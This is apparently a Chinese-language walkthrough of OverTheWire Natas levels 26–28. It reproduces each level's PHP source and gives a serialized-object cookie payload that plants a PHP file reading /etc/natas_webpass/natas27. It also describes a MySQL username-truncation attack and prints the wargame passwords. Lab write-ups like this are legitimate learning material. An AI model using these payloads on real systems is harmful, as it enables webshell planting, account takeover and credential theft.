43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
// sry, this is ugly as hell.
// cheers kaliman ;)
// - morla

class Logger{
private $logFile;
private $initMsg;
private $exitMsg;

function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";

// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}

function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}

function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}

function showImage($filename){
if(file_exists($filename))
echo "<img src=\"$filename\">";
}

function drawImage($filename){
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
}

function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}

if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){

$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color);

}
}
}

function storeData(){
$new_object=array();

if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}

if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
}

$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
?>

可利用的是反序列化,构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;

function __construct($file){
$this->initMsg="<?php echo file_get_contents('/etc/natas_webpass/natas27');?>\n";
$this->exitMsg="<?php echo file_get_contents('/etc/natas_webpass/natas27');?>\n";
$this->logFile = "img/ttt.php";
}
}
echo base64_encode(serialize(new Logger('a.php')));
?>

替换Cookie中的drawing字段值,然后访问 img/ttt.php 即可得到下一关密码

image-20200211163741465

Level 27

1
55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ 

参考链接:https://www.cnblogs.com/liqiuhao/p/6906474.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
<?

// morla / 10111
// database gets cleared every 5 min


/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/


function checkCredentials($link,$usr,$pass){

$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);

$query = "SELECT username from users where username='$user' and password='$password' ";
SELECT username from users where username='natas28' and password=''
$res = mysql_query($query, $link);
if(mysql_num_rows($res) > 0){
return True;
}
return False;
}


function validUser($link,$usr){

$user=mysql_real_escape_string($usr);

$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
return True;
}
}
return False;
}


function dumpData($link,$usr){

$user=mysql_real_escape_string($usr);

$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}


function createUser($link, $usr, $pass){

$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);

$query = "INSERT INTO users (username,password) values ('$user','$password')";
$res = mysql_query($query, $link);
if(mysql_affected_rows() > 0){
return True;
}
return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas27', '<censored>');
mysql_select_db('natas27', $link);


if(validUser($link,$_REQUEST["username"])) {
//user exists, check creds
if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
echo "Here is your data:<br>";
$data=dumpData($link,$_REQUEST["username"]);
print htmlentities($data);
}
else{
echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
}
}
else {
//user doesn't exist
if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
}
}

mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<? } ?>

MySQL 中:

  1. 字符串存储时若发生“溢出”,mysql会自动truncate到最大宽度。
  2. 空格在varchar里面会被自动删除。

思路:

  • 注册一个新用户,用户名是 natas28 后拼接很多空格(超过64字节)再拼接任意字符,密码随便写,造成字符串存储时的”溢出”, 经过数据库去除空格后用户名就会变成 natas28
  • 使用 natas28 和刚刚设置的密码登录

image-20200212184943145

Level 28

1
JWwR438wkgTsNKBbcJoowyysdM82YjeF